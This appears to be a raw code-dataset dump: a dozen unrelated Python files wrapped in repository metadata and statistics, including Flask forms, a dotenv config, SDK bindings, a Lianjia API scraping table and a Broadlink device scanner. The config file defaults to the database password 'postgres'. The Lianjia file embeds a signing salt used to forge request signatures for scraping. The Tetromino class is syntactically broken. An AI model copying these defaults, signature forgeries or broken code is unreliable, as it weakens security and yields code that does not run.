| 24.965517 | 49 | 0.566298 | 88 | 724 | 4.409091 | 0.329545 | 0.134021 | 0.07732 | 0.108247 | 0.226804 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01581 | 0.301105 | 724 | 28 | 50 | 25.857143 | 0.750988 | 0 | 0 | 0.181818 | 0 | 0 | 0.112033 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.409091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
099d7304f7f02debf0bb78895a1afdc4ed020c45 | 1,063 | py | Python | nslocapysation/classes/dynamic_localized_string.py | resmio/nslocapysation | 6643adf359b17212e2e2774de52904123ec2fcfd | [
"MIT"
] | 1 | 2018-11-25T16:56:31.000Z | 2018-11-25T16:56:31.000Z | nslocapysation/classes/dynamic_localized_string.py | resmio/nslocapysation | 6643adf359b17212e2e2774de52904123ec2fcfd | [
"MIT"
] | null | null | null | nslocapysation/classes/dynamic_localized_string.py | resmio/nslocapysation | 6643adf359b17212e2e2774de52904123ec2fcfd | [
"MIT"
] | null | null | null | from nslocapysation.classes.localized_string import LocalizedString
class DynamicLocalizedString(LocalizedString):
"""
A subclass of LocalizedString, whose instances represent
localized strings that are used with a dynamic key
(i.e. some variable as key).
Those are special because you need to check that there is a
localization for every possible value of the variable.
"""
def __eq__(self, other):
if not isinstance(other, self.__class__):
return False
return (self.key == other.key and
self.full_sourcefile_path == other.full_sourcefile_path and
self.sourcefile_line_number == other.sourcefile_line_number and
self.line_occurrence_number == other.line_occurrence_number)
def __ne__(self, other):
return not self.__eq__(other)
def __hash__(self):
return (hash(self.key) ^
hash(self.sourcefile_line_number) ^
hash(self.line_occurrence_number) ^
hash(self.full_sourcefile_path))
| 37.964286 | 79 | 0.674506 | 127 | 1,063 | 5.338583 | 0.472441 | 0.058997 | 0.079646 | 0.064897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.257761 | 1,063 | 27 | 80 | 39.37037 | 0.859316 | 0.236124 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0 | 0.0625 | 0.125 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
09a0be9042906c1b6ac4d5f9479cfd96ed2f0579 | 1,307 | py | Python | webapp/forms.py | flyneat/microblog | 5703d20355bd2b596f1397fa26d7058aa2705e60 | [
"Apache-2.0"
] | null | null | null | webapp/forms.py | flyneat/microblog | 5703d20355bd2b596f1397fa26d7058aa2705e60 | [
"Apache-2.0"
] | null | null | null | webapp/forms.py | flyneat/microblog | 5703d20355bd2b596f1397fa26d7058aa2705e60 | [
"Apache-2.0"
] | null | null | null | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField
from wtforms.validators import DataRequired, Regexp, EqualTo, ValidationError, Email
from .models import User
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
password = PasswordField('Password', validators=[DataRequired()])
remember_me = BooleanField('记住我')
submit = SubmitField('登录')
class RegisterForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
telno = StringField('Telnumber', validators=[DataRequired(), Regexp(regex=r'1\d{8}')])
email = StringField('Email', validators=[Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField('Password', validators=[DataRequired(), EqualTo('password')])
register = SubmitField('注册')
def validate_username(self, username):
user = User.query.filter_by(name=username.data).first()
if user is not None:
raise ValidationError('Please use a different username.')
def validate_telno(self, telno):
user = User.query.filter_by(telno=telno.data).first()
if user is not None:
raise ValidationError(f'telno: {telno} has been registered.')
| 39.606061 | 91 | 0.712318 | 137 | 1,307 | 6.751825 | 0.437956 | 0.142703 | 0.100541 | 0.139459 | 0.376216 | 0.220541 | 0.095135 | 0.095135 | 0.095135 | 0 | 0 | 0.00274 | 0.162204 | 1,307 | 32 | 92 | 40.84375 | 0.842009 | 0 | 0 | 0.25 | 0 | 0 | 0.108646 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0.166667 | 0.166667 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
09a762b3074375607f8d3d109889c8e3ed776b7e | 501 | py | Python | iris_sdk/models/data/ord/existing_search_order.py | NumberAI/python-bandwidth-iris | 0e05f79d68b244812afb97e00fd65b3f46d00aa3 | [
"MIT"
] | 2 | 2020-04-13T13:47:59.000Z | 2022-02-23T20:32:41.000Z | iris_sdk/models/data/ord/existing_search_order.py | bandwidthcom/python-bandwidth-iris | dbcb30569631395041b92917252d913166f7d3c9 | [
"MIT"
] | 5 | 2020-09-18T20:59:24.000Z | 2021-08-25T16:51:42.000Z | iris_sdk/models/data/ord/existing_search_order.py | bandwidthcom/python-bandwidth-iris | dbcb30569631395041b92917252d913166f7d3c9 | [
"MIT"
] | 5 | 2018-12-12T14:39:50.000Z | 2020-11-17T21:42:29.000Z | #!/usr/bin/env python
from iris_sdk.models.base_resource import BaseData
from iris_sdk.models.data.telephone_number_list import TelephoneNumberList
from iris_sdk.models.maps.ord.existing_search_order import \
ExistingSearchOrderMap
from iris_sdk.models.data.reservation_list import ReservationList
class ExistingSearchOrder(ExistingSearchOrderMap, BaseData):
def __init__(self):
self.reservation_id_list = ReservationList()
self.telephone_number_list = TelephoneNumberList() | 38.538462 | 74 | 0.822355 | 59 | 501 | 6.677966 | 0.525424 | 0.081218 | 0.111675 | 0.172589 | 0.106599 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111776 | 501 | 13 | 75 | 38.538462 | 0.885393 | 0.03992 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.444444 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
09aaf30dd4fbc6584fcad31a8c548e02c2862631 | 1,334 | py | Python | example_bindings/account_access.py | SeabornGames/RestClient | 21aeb951ddfdb6ee453ad0edc896ff224e06425d | [
"MIT"
] | null | null | null | example_bindings/account_access.py | SeabornGames/RestClient | 21aeb951ddfdb6ee453ad0edc896ff224e06425d | [
"MIT"
] | 4 | 2018-01-01T16:15:15.000Z | 2018-03-14T22:39:47.000Z | example_bindings/account_access.py | SeabornGames/RestClient | 21aeb951ddfdb6ee453ad0edc896ff224e06425d | [
"MIT"
] | null | null | null | from seaborn.request_client.intellisense import *
class Account_Access_Array(Endpoint):
def get(self, account_id):
""" This will return all users who have access to the account, only the primary can do this command
:param account_id: int of the account_id for the account
:return: list of User dict
"""
return self.connection.get('account/access/array', account_id=account_id)
class Account_Access(Endpoint):
array = Account_Access_Array()
def put(self, account_id, user_id):
""" Only the primary on the account can add or remove user's access to an account
:param account_id: int of the account_id for the account
:param user_id: int of the user_id to grant access
:return: Access dict
"""
return self.connection.put('account/access', data=dict(account_id=account_id, user_id=user_id))
def delete(self, account_id, user_id):
""" Only the primary on the account can add or remove user's access to an account
:param account_id: int of the account_id for the account
:param user_id: int of the user_id to grant access
:return: Access dict
"""
return self.connection.delete('account/access', account_id=account_id, user_id=user_id)
| 41.6875 | 113 | 0.665667 | 195 | 1,334 | 4.394872 | 0.241026 | 0.157526 | 0.056009 | 0.058343 | 0.585764 | 0.585764 | 0.585764 | 0.585764 | 0.515753 | 0.515753 | 0 | 0 | 0.26087 | 1,334 | 31 | 114 | 43.032258 | 0.869168 | 0.471514 | 0 | 0 | 0 | 0 | 0.080672 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
09c133379dbe5496034770d62877a6082e8329a3 | 708 | py | Python | tests/cube_generator_test.py | jeromeshan/mimas | 4e4250bc74a0e69560a13053a9d556bcfd42c6c4 | [
"MIT"
] | null | null | null | tests/cube_generator_test.py | jeromeshan/mimas | 4e4250bc74a0e69560a13053a9d556bcfd42c6c4 | [
"MIT"
] | null | null | null | tests/cube_generator_test.py | jeromeshan/mimas | 4e4250bc74a0e69560a13053a9d556bcfd42c6c4 | [
"MIT"
] | null | null | null | import unittest
from pbgca import CubeGenerator
import numpy as np
class CubeGeneratorTestCase(unittest.TestCase):
def test_2d(self):
"""Test 2d cube generation"""
cube = CubeGenerator.n_dim_cube(2)
self.assertEqual(cube.tolist(), np.transpose(np.array([[ -0.5, -0.5, 0.5, 0.5], [ -0.5, 0.5, 0.5, -0.5]])).tolist())
def test_3d(self):
"""Test 3d cube generation"""
cube = CubeGenerator.n_dim_cube(3)
self.assertEqual(cube.tolist(), [[-0.5, -0.5, -0.5],[-0.5, 0.5, -0.5],[ 0.5, 0.5, -0.5],[ 0.5, -0.5, -0.5],[-0.5, -0.5, 0.5],[-0.5, 0.5, 0.5],[ 0.5, 0.5, 0.5],[ 0.5, -0.5, 0.5]])
if __name__ == '__main__':
unittest.main() | 33.714286 | 198 | 0.55226 | 124 | 708 | 3.040323 | 0.25 | 0.169761 | 0.238727 | 0.318302 | 0.376658 | 0.376658 | 0.376658 | 0.169761 | 0.169761 | 0.169761 | 0 | 0.126354 | 0.217514 | 708 | 21 | 199 | 33.714286 | 0.554152 | 0.066384 | 0 | 0 | 0 | 0 | 0.012289 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.166667 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09df66f0574535bb1e25b24070861ccddad584a0 | 629 | py | Python | server/config.py | yevrah/stack | 00f42b72ad8b19ca664605ad960594a4b54b8232 | [
"MIT"
] | null | null | null | server/config.py | yevrah/stack | 00f42b72ad8b19ca664605ad960594a4b54b8232 | [
"MIT"
] | null | null | null | server/config.py | yevrah/stack | 00f42b72ad8b19ca664605ad960594a4b54b8232 | [
"MIT"
] | null | null | null | import os, uuid
from dotenv import load_dotenv
load_dotenv()
config = {
"JWT_SECRET_KEY": os.getenv("JWT_SECRET_KEY", uuid.uuid4()),
"JWT_EXPIRES": os.getenv("JWT_EXPIRES", 900), # 15 mins
"JWT_REFRESH_EXPIRES": os.getenv("JWT_REFRESH_EXPIRES", 604800), # 7 days
# TODO: change default with your db
"DB_NAME": os.getenv("DB_NAME", "stack"),
"DB_HOST": os.getenv("DB_HOST", "localhost"),
"DB_USER": os.getenv("DB_USER", "postgres"),
"DB_PASSWORD": os.getenv("DB_PASSWORD", "postgres"),
"REDIS_HOST": os.getenv("REDIS_HOST", "127.0.0.1"),
"REDIS_PORT": os.getenv("REDIS_PORT", 6379),
}
| 33.105263 | 78 | 0.661367 | 92 | 629 | 4.26087 | 0.423913 | 0.183673 | 0.102041 | 0.091837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043233 | 0.154213 | 629 | 18 | 79 | 34.944444 | 0.693609 | 0.076312 | 0 | 0 | 0 | 0 | 0.400347 | 0 | 0 | 0 | 0 | 0.055556 | 0 | 1 | 0 | false | 0.071429 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
09fbf75b29bbeb26a83b2522980cd32d2af03b5e | 229 | py | Python | test1.py | pengnam/TwitterStream | 5615443d6e85de95acb843f0cbfd3d7bc5679686 | [
"MIT"
] | 8 | 2018-09-26T10:28:10.000Z | 2020-06-24T20:12:44.000Z | test1.py | pengnam/TwitterStream | 5615443d6e85de95acb843f0cbfd3d7bc5679686 | [
"MIT"
] | null | null | null | test1.py | pengnam/TwitterStream | 5615443d6e85de95acb843f0cbfd3d7bc5679686 | [
"MIT"
] | null | null | null | from kafka import KafkaConsumer
consumer = KafkaConsumer(bootstrap_servers='localhost:9092',
auto_offset_reset='earliest',
consumer_timeout_ms=1000)
consumer.subscribe('test')
for message in consumer:
print(message)
| 25.444444 | 60 | 0.786026 | 27 | 229 | 6.481481 | 0.814815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039801 | 0.122271 | 229 | 8 | 61 | 28.625 | 0.830846 | 0 | 0 | 0 | 0 | 0 | 0.113537 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.142857 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61d8e7c78b08a8e635e05bbc65e5a30e5e80378c | 860 | py | Python | Tetromino.py | Matthiasbrown/Tetris-Clone | 8fcf1347dc3d2b9e2659b09af8d21cdee89d3fb7 | [
"MIT"
] | null | null | null | Tetromino.py | Matthiasbrown/Tetris-Clone | 8fcf1347dc3d2b9e2659b09af8d21cdee89d3fb7 | [
"MIT"
] | null | null | null | Tetromino.py | Matthiasbrown/Tetris-Clone | 8fcf1347dc3d2b9e2659b09af8d21cdee89d3fb7 | [
"MIT"
] | null | null | null |
class tetromino:
def __init__( self, shape, color, rotation):
self.shape = shape
self.color = color
self.rotation = rotation
def fall():
#Here we have to update the position of the Tetromino's position
#return curren_lvl + vel
def movement():
# TODO: SET UP SIdeways movement
# if event.type == pygame.KEYDOWN:
# if event.key == pygame.K_LEFT:
# x -= vel
# if event.key == pygame.K_RIGHT:
# x += vel
# if event.key == pygame.K_DOWN:
# y += vel
def rotating():
# TODO: Set up Rotating option unlike the rotation value for a BLOCK
# if event.key == pygame.K_SPACE:
#axis += 90*
def shape():
return
| 24.571429 | 76 | 0.488372 | 96 | 860 | 4.28125 | 0.510417 | 0.085158 | 0.097324 | 0.155718 | 0.184915 | 0.10219 | 0.10219 | 0 | 0 | 0 | 0 | 0.004032 | 0.423256 | 860 | 34 | 77 | 25.294118 | 0.824597 | 0.55 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61dd3ccb5443d44ff37712d39b251ffc369fd26b | 319 | py | Python | ScoutingWebsite/BaseScouting/views/forms/base_match_submission.py | ArcticWarriors/scouting-app | 3411dfc6ddca3728889460cc372716847fff5939 | [
"MIT"
] | 4 | 2017-03-20T21:29:14.000Z | 2018-02-20T17:52:49.000Z | ScoutingWebsite/BaseScouting/views/forms/base_match_submission.py | ArcticWarriors/scouting-app | 3411dfc6ddca3728889460cc372716847fff5939 | [
"MIT"
] | 9 | 2016-03-04T01:09:41.000Z | 2016-09-29T00:04:53.000Z | ScoutingWebsite/BaseScouting/views/forms/base_match_submission.py | ArcticWarriors/scouting-app | 3411dfc6ddca3728889460cc372716847fff5939 | [
"MIT"
] | 3 | 2016-02-23T03:28:17.000Z | 2016-05-12T13:12:49.000Z | from django.views.generic.base import TemplateView
class BaseMatchEntryView(TemplateView):
def __init__(self, template_name):
self.template_name = template_name
def get_context_data(self, **kwargs):
context = super(BaseMatchEntryView, self).get_context_data(**kwargs)
return context
| 26.583333 | 76 | 0.736677 | 36 | 319 | 6.222222 | 0.555556 | 0.160714 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178683 | 319 | 11 | 77 | 29 | 0.854962 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
61df4a04c58d1ed32056f66e48bbde80636a8b1b | 716 | py | Python | datastructures/suffixtrie/suffixtrie.py | lukebiggerstaff/simple-python-ds | ee61c0bf858f7278c6f6342fba3ad4d0639f9dfe | [
"MIT"
] | null | null | null | datastructures/suffixtrie/suffixtrie.py | lukebiggerstaff/simple-python-ds | ee61c0bf858f7278c6f6342fba3ad4d0639f9dfe | [
"MIT"
] | null | null | null | datastructures/suffixtrie/suffixtrie.py | lukebiggerstaff/simple-python-ds | ee61c0bf858f7278c6f6342fba3ad4d0639f9dfe | [
"MIT"
] | null | null | null | from ._trie import Trie
class SuffixTrie(Trie):
def __init__(self):
self.ngram_counter = dict()
super().__init__()
def insert(self, word):
for i, v in enumerate(word):
ngram = word[i:]
if ngram in self.ngram_counter:
self.ngram_counter[word[i:]] += 1
else:
self.ngram_counter[ngram] = 1
super().insert(word[i:])
def delete(self, word):
for i, v in enumerate(word):
ngram = word[i:]
if ngram in self.ngram_counter:
self.ngram_counter[word[i:]] -= 1
if self.ngram_counter[word[i:]] == 0:
super().delete(word[i:])
| 27.538462 | 53 | 0.506983 | 87 | 716 | 3.988506 | 0.275862 | 0.181556 | 0.322767 | 0.172911 | 0.550432 | 0.489914 | 0.489914 | 0.489914 | 0.489914 | 0.489914 | 0 | 0.00883 | 0.367318 | 716 | 25 | 54 | 28.64 | 0.757174 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.15 | false | 0 | 0.05 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61e7ab226f3d9b11b826f448cda63fe33a8e4b96 | 8,328 | py | Python | src/data.py | WenPeiyu/LianjiaSpider | 9d4fd31df0120c756fbbd625b66f2fee4fe17891 | [
"MIT"
] | null | null | null | src/data.py | WenPeiyu/LianjiaSpider | 9d4fd31df0120c756fbbd625b66f2fee4fe17891 | [
"MIT"
] | null | null | null | src/data.py | WenPeiyu/LianjiaSpider | 9d4fd31df0120c756fbbd625b66f2fee4fe17891 | [
"MIT"
] | null | null | null | strMD5Salt = "vfkpbin1ix2rb88gfjebs0f60cbvhedl"
dictURL = {
"search/ershoufang": {
"URL": "https://ajax.lianjia.com/map/search/ershoufang/?city_id={city_id}&group_type={group_type}&"
"max_lat={max_lat}&min_lat={min_lat}&max_lng={max_lng}&min_lng={min_lng}&"
"filters=%7B%7D&request_ts={request_ts}&source=ljpc&authorization={authorization}",
"MD5Data": strMD5Salt + "city_id={city_id}group_type={group_type}max_lat={max_lat}"
"max_lng={max_lng}min_lat={min_lat}min_lng={min_lng}request_ts={request_ts}"
},
"subway/station": {
"URL": "https://ajax.lianjia.com/map/subway/station/?city_id={city_id}&line_id={line_id}&"
"request_ts={request_ts}&source=ljpc&authorization={authorization}",
"MD5Data": strMD5Salt + "city_id={city_id}line_id={line_id}request_ts={request_ts}"
},
"subway/line": {
"URL": "https://ajax.lianjia.com/map/subway/line/?city_id={city_id}&request_ts={request_ts}&source=ljpc"
"&authorization={authorization}",
"MD5Data": strMD5Salt + "city_id={city_id}request_ts={request_ts}"
},
"resblock/ershoufangcard": {
"URL": "https://ajax.lianjia.com/map/resblock/ershoufangcard/?id={id}&request_ts={request_ts}&"
"source=ljpc&authorization={authorization}",
"MD5Data": strMD5Salt + "id={id}request_ts={request_ts}"
},
"resblock/ershoufanglist": {
"URL": "https://ajax.lianjia.com/map/resblock/ershoufanglist/?id={id}&order={order}&page={page}&"
"filters=%7B%7D&request_ts={request_ts}&source=ljpc&authorization={authorization}",
"MD5Data": strMD5Salt + "id={id}order={order}page={page}request_ts={request_ts}"
},
}
dictCity = {
'珠海': {'city_url': 'https://zh.lianjia.com/',
'city_id': 440400,
'max_lat': 22.256915,
'max_lng': 113.562447,
'min_lat': 21.956915,
'min_lng': 113.262447},
'长沙': {'city_url': 'https://cs.lianjia.com/',
'city_id': 430100,
'max_lat': 28.213478,
'max_lng': 112.979353,
'min_lat': 27.913478,
'min_lng': 112.679353},
'深圳': {'city_url': 'https://sz.lianjia.com/',
'city_id': 440300,
'max_lat': 22.546054,
'max_lng': 114.025974,
'min_lat': 22.246054,
'min_lng': 113.725974},
'重庆': {'city_url': 'https://cq.lianjia.com/',
'city_id': 500000,
'max_lat': 29.544606,
'max_lng': 106.530635,
'min_lat': 29.244606,
'min_lng': 106.230635},
'苏州': {'city_url': 'https://su.lianjia.com/',
'city_id': 320500,
'max_lat': 31.317987,
'max_lng': 120.619907,
'min_lat': 31.017987,
'min_lng': 120.319907},
'西安': {'city_url': 'https://xa.lianjia.com/',
'city_id': 610100,
'max_lat': 34.2778,
'max_lng': 108.953098,
'min_lat': 33.9778,
'min_lng': 108.653098},
'廊坊': {'city_url': 'https://lf.lianjia.com/',
'city_id': 131000,
'max_lat': 39.518611,
'max_lng': 116.703602,
'min_lat': 39.218611,
'min_lng': 116.403602},
'北京': {'city_url': 'https://bj.lianjia.com/',
'city_id': 110000,
'max_lat': 39.929986,
'max_lng': 116.395645,
'min_lat': 39.629986,
'min_lng': 116.095645},
'济南': {'city_url': 'https://jn.lianjia.com/',
'city_id': 370100,
'max_lat': 36.682785,
'max_lng': 117.024967,
'min_lat': 36.382785,
'min_lng': 116.724967},
'郑州': {'city_url': 'https://zz.lianjia.com/',
'city_id': 410100,
'max_lat': 34.75661,
'max_lng': 113.649644,
'min_lat': 34.45661,
'min_lng': 113.349644},
'天津': {'city_url': 'https://tj.lianjia.com/',
'city_id': 120000,
'max_lat': 39.14393,
'max_lng': 117.210813,
'min_lat': 38.84393,
'min_lng': 116.910813},
'厦门': {'city_url': 'https://xm.lianjia.com/',
'city_id': 350200,
'max_lat': 24.489231,
'max_lng': 118.103886,
'min_lat': 24.189231,
'min_lng': 117.803886},
'成都': {'city_url': 'https://cd.lianjia.com/',
'city_id': 510100,
'max_lat': 30.679943,
'max_lng': 104.067923,
'min_lat': 30.379943,
'min_lng': 103.767923},
'沈阳': {'city_url': 'https://sy.lianjia.com/',
'city_id': 210100,
'max_lat': 41.808645,
'max_lng': 123.432791,
'min_lat': 41.508645,
'min_lng': 123.132791},
'大连': {'city_url': 'https://dl.lianjia.com/',
'city_id': 210200,
'max_lat': 38.94871,
'max_lng': 121.593478,
'min_lat': 38.64871,
'min_lng': 121.293478},
'上海': {'city_url': 'https://sh.lianjia.com/',
'city_id': 310000,
'max_lat': 31.249162,
'max_lng': 121.487899,
'min_lat': 30.949162,
'min_lng': 121.187899},
'石家庄': {'city_url': 'https://sjz.lianjia.com/',
'city_id': 130100,
'max_lat': 38.048958,
'max_lng': 114.522082,
'min_lat': 37.748958,
'min_lng': 114.222082},
'南京': {'city_url': 'https://nj.lianjia.com/',
'city_id': 320100,
'max_lat': 32.057236,
'max_lng': 118.778074,
'min_lat': 31.757236,
'min_lng': 118.478074},
'青岛': {'city_url': 'https://qd.lianjia.com/',
'city_id': 370200,
'max_lat': 36.105215,
'max_lng': 120.384428,
'min_lat': 35.805215,
'min_lng': 120.084428},
'广州': {'city_url': 'https://gz.lianjia.com/',
'city_id': 440100,
'max_lat': 23.120049,
'max_lng': 113.30765,
'min_lat': 22.820049,
'min_lng': 113.00765},
'佛山': {'city_url': 'https://fs.lianjia.com/',
'city_id': 440600,
'max_lat': 23.035095,
'max_lng': 113.134026,
'min_lat': 22.735095,
'min_lng': 112.834026},
'武汉': {'city_url': 'https://wh.lianjia.com/',
'city_id': 420100,
'max_lat': 30.581084,
'max_lng': 114.3162,
'min_lat': 30.281084,
'min_lng': 114.0162},
'海口': {'city_url': 'https://hk.lianjia.com/',
'city_id': 460100,
'max_lat': 20.022071,
'max_lng': 110.330802,
'min_lat': 19.722071,
'min_lng': 110.030802},
'烟台': {'city_url': 'https://yt.lianjia.com/',
'city_id': 370600,
'max_lat': 37.536562,
'max_lng': 121.309555,
'min_lat': 37.236562,
'min_lng': 121.009555},
'中山': {'city_url': 'https://zs.lianjia.com/',
'city_id': 442000,
'max_lat': 22.545178,
'max_lng': 113.42206,
'min_lat': 22.245178,
'min_lng': 113.12206},
'无锡': {'city_url': 'https://wx.lianjia.com/',
'city_id': 320200,
'max_lat': 31.570037,
'max_lng': 120.305456,
'min_lat': 31.270037,
'min_lng': 120.005456},
'惠州': {'city_url': 'https://hui.lianjia.com/',
'city_id': 441300,
'max_lat': 23.11354,
'max_lng': 114.410658,
'min_lat': 22.81354,
'min_lng': 114.110658},
'东莞': {'city_url': 'https://dg.lianjia.com/',
'city_id': 441900,
'max_lat': 23.043024,
'max_lng': 113.763434,
'min_lat': 22.743024,
'min_lng': 113.463434},
'杭州': {'city_url': 'https://hz.lianjia.com/',
'city_id': 330100,
'max_lat': 30.259244,
'max_lng': 120.219375,
'min_lat': 29.959244,
'min_lng': 119.919375},
'合肥': {'city_url': 'https://hf.lianjia.com/',
'city_id': 340100,
'max_lat': 31.866942,
'max_lng': 117.282699,
'min_lat': 31.566942,
'min_lng': 116.982699}}
dictGroupType = {
"district": 0.3, # 行政区
"bizcircle": 0.08, # 商圈
"community": 0.01 # 居民小区
}
| 38.027397 | 112 | 0.510327 | 1,011 | 8,328 | 3.970326 | 0.289812 | 0.06278 | 0.089686 | 0.119581 | 0.216991 | 0.209517 | 0.176134 | 0.144245 | 0.13727 | 0.13727 | 0 | 0.20769 | 0.300432 | 8,328 | 218 | 113 | 38.201835 | 0.481291 | 0.001321 | 0 | 0.009259 | 0 | 0.023148 | 0.404066 | 0.091182 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61f871caad14f0b0169dd196e907cb5845abce5b | 1,105 | py | Python | locatrm.py | aroussel62/scripts | 03ab2078eca9fc2f9a872e1307263aed58ed35a1 | [
"MIT"
] | null | null | null | locatrm.py | aroussel62/scripts | 03ab2078eca9fc2f9a872e1307263aed58ed35a1 | [
"MIT"
] | null | null | null | locatrm.py | aroussel62/scripts | 03ab2078eca9fc2f9a872e1307263aed58ed35a1 | [
"MIT"
] | null | null | null | #!/usr/bin/python
#Script to locate Broadlink devices on local network by Graeme Brown Dec 23 2016
#These must be set up using the Broadlink app first!
import broadlink
import time
print "************************************************"
print "Using python library created by Matthew Garrett"
print "https://github.com/mjg59/python-broadlink"
print "************************************************"
print "Scanning network for Broadlink devices...."
mydevices = broadlink.discover(timeout=5)
print "Found " + str(len(mydevices )) + " broadlink devices"
time.sleep(1)
print "..............."
for index, item in enumerate(mydevices):
mydevices[index].auth()
ipadd = mydevices[index].host
ipadd = str(ipadd)
print "Device " + str(index + 1) +" Host address = " + ipadd[1:19]
macadd = ''.join(format(x, '02x') for x in mydevices[index].mac[::-1])
macadd = str(macadd)
mymacadd = macadd[:2] + " " + macadd[2:4] + " " + macadd[4:6] + " " + macadd[6:8] + " " + macadd[8:10] + " " + macadd[10:12]
print "Device " + str(index + 1) +" MAC address = " + mymacadd
print "..............."
